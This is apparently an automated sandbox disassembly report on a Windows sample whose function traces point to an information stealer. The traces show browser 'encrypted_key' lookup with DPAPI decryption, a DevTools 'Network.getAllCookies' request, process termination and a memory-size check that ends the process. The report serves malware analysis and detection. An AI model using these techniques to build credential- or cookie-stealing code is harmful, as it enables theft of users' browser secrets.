Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction ID: 160db8237089610cf3963e488d7c28046b69bb3d6c402c1973a99714a059ae02
Opcode Fuzzy Hash: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction Fuzzy Hash: 9F2149B1D00219ABDF14DFA5EC4AADD7B75FF04320F008229F925A7290EB706A19CF95

Function 004199A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004199C5
Process32First.KERNEL32(0040A056,00000128), ref: 004199D9
Process32Next.KERNEL32(0040A056,00000128), ref: 004199F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00419A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419A6C
CloseHandle.KERNEL32(00000000), ref: 00419A79
CloseHandle.KERNEL32(0040A056), ref: 00419A88

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction ID: 88ad4043d03276f3ee8d31f644ab7db47d0d0c060b431017ba6a9ada5f45e9a4
Opcode Fuzzy Hash: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction Fuzzy Hash: 06211A70900258ABDB25DFA1DC98BEEB7B9BF48304F0041C9E509A6290D7789FC4CF51

Function 00417820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
HeapAlloc.KERNEL32(00000000), ref: 0041783B
RegOpenKeyExA.KERNEL32(80000002,008ABFB0,00000000,00020119,00000000), ref: 0041786D
RegQueryValueExA.KERNEL32(00000000,008B01B0,00000000,00000000,?,000000FF), ref: 0041788E
RegCloseKey.ADVAPI32(00000000), ref: 00417898

Strings

Windows 11, xrefs: 0041784D

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction ID: 90abcce2ecfc2a5b8cd512a74185dd25ab23219ddadcc09848e79f4871c60c5e
Opcode Fuzzy Hash: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction Fuzzy Hash: FD01A274E09304BBEB00DBE4ED49FAE7779EF48700F00419AFA04A7290E7749A40CB55

Function 004178B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178C4
HeapAlloc.KERNEL32(00000000), ref: 004178CB
RegOpenKeyExA.KERNEL32(80000002,008ABFB0,00000000,00020119,00417849), ref: 004178EB
RegQueryValueExA.KERNEL32(00417849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041790A
RegCloseKey.ADVAPI32(00417849), ref: 00417914

Strings

CurrentBuildNumber, xrefs: 00417901

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction ID: 4c9302de3449b24d107dc6acc84b9b99571be3b3dcaa7f8b3677a924de38e7e6
Opcode Fuzzy Hash: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction Fuzzy Hash: 51014FB5E45309BBEB00DBE4DC4AFAEB779EF44700F10459AF605A6281E774AA408B91

Function 0040A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
LocalFree.KERNEL32(00410447), ref: 0040A1E0
CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction ID: e28607e9d9a2a96074382c0c0d30a82733061daf82e5a8752830093732aacc78
Opcode Fuzzy Hash: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction Fuzzy Hash: 9731FC74A01209EFDB14CF94D845BEE77B5AB48304F10815AE911AB3D0D778AA91CFA6

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction ID: 198c605b63268064c6e3321c907f2861ebf30c0b4d659eb8408d118d522d9ff8
Opcode Fuzzy Hash: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction Fuzzy Hash: 88014BF0D44308BAEB10DFE0DD4ABAEBB78AB14705F20849EE604B62D0D6785581875D

Function 61E541A0 Relevance: 8.3, APIs: 2, Strings: 3, Instructions: 772stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E541DC
strcmp.MSVCRT ref: 61E543C4

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

rnal, xrefs: 61E547EC
@, xrefs: 61E54291
$[a, xrefs: 61E549DA

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: strcmp$free
String ID: $[a$@$rnal
API String ID: 3401341699-3833003606
Opcode ID: 82c1f7386fcb6227ff9a363fa7cf287c2e4348471de364aeefa8de2e9649e77c
Instruction ID: 0ce42be2a52064457b78e7c31244c3f07411abd0ae8e299ce13c5538bbb98839
Opcode Fuzzy Hash: 82c1f7386fcb6227ff9a363fa7cf287c2e4348471de364aeefa8de2e9649e77c
Instruction Fuzzy Hash: 70822470A04259CFEB60CF68C880B89BBF1BF45308F2481EAD8589B352E775D9A5CF51

Function 61E4C7C5 Relevance: 8.0, APIs: 4, Strings: 1, Instructions: 467COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E4C91F
memcmp.MSVCRT ref: 61E4C973
memcmp.MSVCRT ref: 61E4C9F2
memcmp.MSVCRT ref: 61E4CC23

Strings

0, xrefs: 61E4CC0C

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: memcmp
String ID: 0
API String ID: 1475443563-4108050209
Opcode ID: 5e6f3149d2315a7f97a97c29b0eb816d1210dd2dcce0a1c73a13da43e11864dd
Instruction ID: 3bb57cbd4086e38ca070a1eb41e2420ec87b0c0feb17810d174f813009c16240
Opcode Fuzzy Hash: 5e6f3149d2315a7f97a97c29b0eb816d1210dd2dcce0a1c73a13da43e11864dd
Instruction Fuzzy Hash: 66127D70F05255CFEB05CFA8E484789BBF1AF48318F25C1A9D845AB356D774E88ACB80

Function 0040A430 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
Part of subcall function 0040A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
Part of subcall function 0040A2B0: memcpy.MSVCRT(?,?,?), ref: 0040A316
Part of subcall function 0040A2B0: LocalFree.KERNEL32(?), ref: 0040A323

Strings

DPAPI, xrefs: 0040A4D9
, xrefs: 0040A511
"encrypted_key":", xrefs: 0040A480

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 539c828ab659e3f089cac9280d8276f602c1d554153440642595b71a4cad254f
Instruction ID: 27b9d937d1eb2b37959d1b0821c640950517226354c316aa9f1795df4e4508dc
Opcode Fuzzy Hash: 539c828ab659e3f089cac9280d8276f602c1d554153440642595b71a4cad254f
Instruction Fuzzy Hash: 323152B6D00209ABCF04DBD4DC45AEFB7B8BF58304F44456AE901B7281E7389A54CB6A

Function 00417F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
HeapAlloc.KERNEL32(00000000), ref: 00417FCE
RegOpenKeyExA.KERNEL32(80000002,008AC090,00000000,00020119,?), ref: 00417FEE
RegQueryValueExA.KERNEL32(?,008B0DC0,00000000,00000000,000000FF,000000FF), ref: 0041800F
RegCloseKey.ADVAPI32(?), ref: 00418022

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction ID: 7366865410052b2090c980cb0782fc53e6cc971cacc9a0cbb18d91746b71e1a2
Opcode Fuzzy Hash: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction Fuzzy Hash: 981151B1E45209EBD700CF94DD45FBFBBB9EB48B11F10421AF615A7280E77959048BA2

Function 6D471F30 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 307COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 6D471F7E
closesocket.WS2_32(?), ref: 6D4721B9
closesocket.WS2_32(?), ref: 6D4722D9

Part of subcall function 6D47AC00: HeapFree.KERNEL32(00000000,0000000C), ref: 6D4AEBD8

Strings

{"id": 1, "method": "Network.getAllCookies"}Failed to convert result to CStringmy_library\src\lib.rs, xrefs: 6D47209C

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: closesocket$FreeHeap_strlen
String ID: {"id": 1, "method": "Network.getAllCookies"}Failed to convert result to CStringmy_library\src\lib.rs
API String ID: 4163113487-637580131
Opcode ID: d8475fdf8e720c946d7aa5c21e887b986d4a51812af20290b0579c28c20350c8
Instruction ID: 7366a65a119643f86bf48bf1574f5e1d911b5a3e12d713f22908432884366dc4
Opcode Fuzzy Hash: d8475fdf8e720c946d7aa5c21e887b986d4a51812af20290b0579c28c20350c8
Instruction Fuzzy Hash: 0CC157B5414B049BD3B0DF24C984FE3B7E8FB04308F41491DEAAB46A51EB70B948CBA1

Function 0040A990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,008ACD80,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040AA11
lstrlenA.KERNEL32(00000000,00000000), ref: 0040AB2F
lstrlenA.KERNEL32(00000000), ref: 0040ADEC

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

DeleteFileA.KERNEL32(00000000), ref: 0040AE73

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: 476e5f26ed7e0a8a50685c4ee30d26a6d7d7f1887c28d425f7e1bb3057c6a338
Instruction ID: 5dfe8597df33c788f82f0551f3ba8d02d272d38f024b71a471f8e3c501a58f6f
Opcode Fuzzy Hash: 476e5f26ed7e0a8a50685c4ee30d26a6d7d7f1887c28d425f7e1bb3057c6a338
Instruction Fuzzy Hash: A9E134729111089BCB04FBA5DC66EEE7339AF14314F40855EF11672091EF387A9CCB6A

Function 00411C60 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00417690: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
Part of subcall function 00417690: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 0041779A

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 00417820: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
Part of subcall function 00417820: HeapAlloc.KERNEL32(00000000), ref: 0041783B

Part of subcall function 00417950: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,008B1000,00000000,?), ref: 00417982
